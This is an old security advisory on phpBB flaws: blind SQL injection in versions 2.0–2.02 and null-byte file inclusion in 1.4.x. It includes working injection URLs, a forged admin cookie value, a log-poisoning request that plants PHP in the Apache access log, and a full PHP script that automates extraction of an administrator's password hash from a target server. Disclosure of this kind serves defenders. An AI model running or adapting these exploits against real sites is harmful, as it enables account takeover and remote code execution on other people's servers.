21th Feb 2003 [SBWID-6007]
COMMAND
phpBB Security Bugs
SYSTEMS AFFECTED
Security Issue in phpBB 2.0,2.01, 2.02
PROBLEM
Vulnerability discovered by David Zentner [[email protected]]
http://CGIshield.com
phpBB, the most popular open source bulletin board software on the net,
is vulnerable to a remotely exploitable SQL injection bug which allows
stealing an administrator's password hash. With the hash, an attacker
may login and gain complete control of the administrative side of the
system.
The actual attack carried out via a select fish attack, by manipulating
the select query in the page_header.php file in order to return users
online based on certain criteria, such as characters of their password
hash.
For example, if the user is attemping to hack a user_id of '40' he will
request the following page:
http://site/phpBB/index.php?forum_id=1+or+user_id=40+and+mid
(user_password,1,1)=char(97)/*
The resultant query will be:
SELECT u.username, u.user_id, u.user_allow_viewonline, u.user_level,
s.session_logged_in, s.session_ip FROM phpbb_users u, phpbb_sessions s
WHERE u.user_id = s.session_user_id AND s.session_time >= 1035778374
AND s.session_page = 1 or user_id=40 and
mid(user_password,1,1)=char(97)/* ORDER BY u.username ASC, s.session_ip
ASC
If a correct password hash digit is guessed, the admin's name will show
up as an online user, in the online user list at the bottom of the
forum page. After the password hash is determined, it is then placed in
the cookie and access is granted to the site.
So if the user_id is 32360 and the password hash is
6a204bd89f3c8348afd5c77c717a097a, then an attacker would take the
following value:
a:2:
{s:11:"autologinid";s:32:"6a204bd89f3c8348afd5c77c717a097a";s:6:"userid";s:
5:"31360";} www.phpbb.com/ 1536 1063947136 29596959 197425936 29523534 *
urlencode() it, and place it in a cookie with the variable name
'phpbb2support_data', then access would be gained to the admin panel on
any phpbb site.
One could use a script to speed the process of exploiting this
vulnerability. Something similar to the script at the end of this
document.
Security issue in PHPbb 1.4.x
=============================
PHPbb, the most popular open source bulletin board software on the net,
is vulnerable to a remotely exploitable file manipulation attack, which
may allow an attacker to execute arbitrary php code on the system.
It involves the following code which is located in auth.php:
include('language/lang_'.$default_lang.'.'.$phpEx);
This code strips all slashes from incoming user data, thereby
unescaping any user inputed NULL bytes. An attacker can then supply a
null byte ('% 00' when urlencoded) , and any characters which come
after the null byte arent treated as part of the file name. This is
because when the PHP interpreter reads the file name, it will stop at
the first null byte.
In this particular situation, the ability to poison the filename is
significant, because a user may then load any file on the system into
the interpreter and have PHP execute it. For example, if a user selects
a language of value:
'/../../../var/logs/apache/access.log%00' ,
The apache access.log will be included by this attack.
This flaw can be exploited by registering an account, logging in, and
then calling the following url. (replace user=admin with the registered
name, and passwd=asdfasdf with corresponding password):
http://localhost/phpBB/prefs.php?HTTP_POST_VARS[save]
=1&passwd=asdfasdf&viewemail=0&savecookie=0&sig=0&smile=0&dishtml=0&disbbco
de=0&themes=1〈=/../../../var/logs/apache/access.log%
00&save=1&user=admin&submit=Save%20Preferences
What good is the ability to execute any file on the target server? Well
consider if the attacker calls the url:
http://sitename.com/phpbb/index.php<?phpinfo();?>
The PHP command is stored in the apache access.log file, and then
executed by the include() function, thereby allowing an attacker to
execute arbitrary PHP on any target server.
PHPbb responded: " As for the 1.4.4 bug, we won't fix that. We've said
time and again that there are many security flaws in 1.4.4 and that any
sane webmaster should upgrade to 2.x. Please don't bother searching for
or notifying us of phpBB 1.x bugs."
<?php
########## PHPBB 2.0,2.01,2.02 Auto-SelectFish Attacker
########## [email protected]
// To use this program, simply upload it to a php enabled webserver, and
execute
// If php times out before the whole password hash is determined,
// adjust the maximum script execution time in php.ini
// Also, replace following with correct values:
$server="192.168.1.100";
$script="/phpbb2/index.php";
$the_userid_to_hack="2";
// don't change this
$data_to_match="In total there are <b>0</b> users online";
$checkchar[0]="char(48)";
$checkchar[1]="char(49)";
$checkchar[2]="char(50)";
$checkchar[3]="char(51)";
$checkchar[4]="char(52)";
$checkchar[5]="char(53)";
$checkchar[6]="char(54)";
$checkchar[7]="char(55)";
$checkchar[8]="char(56)";
$checkchar[9]="char(57)";
$checkchar[a]="char(97)";
$checkchar[b]="char(98)";
$checkchar[c]="char(99)";
$checkchar[d]="char(100)";
$checkchar[e]="char(101)";
$checkchar[f]="char(102)";
for($i=1;$i<33;$i++){
reset($checkchar);
while (list($i2, $i2val) = @each($checkchar)){
$vars="forum_id=1+or+user_id=$the_userid_to_hack+and+mid
(user_password,$i,1)=$checkchar[$i2]/*";
$data=sendToHost("$server",'post',"$script","$vars");
if (eregi("$data_to_match","$data")){
//echo("<b>$i2</b>");
}
else{echo("<br>$i= $i2"); flush();break;}
}
}
function sendToHost($host,$method,$path,$data,$useragent=1)
{
$method = strtoupper($method);
$fp = fsockopen($host,80);
fputs($fp, "$method $path HTTP/1.1\n");
fputs($fp, "Host: $host\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
fputs($fp, "Content-length: " . strlen($data) . "\n");
if ($useragent)
fputs($fp, "User-Agent: Mozilla\n");
fputs($fp, "Connection: close\n\n");
if ($method == 'POST')
fputs($fp, $data);
while (!feof($fp))
$buf .= fgets($fp,128);
fclose($fp);
for($slow=0;$slow<100;$slow++){}
return $buf;
}
?>
SOLUTION
Fixed in 2.03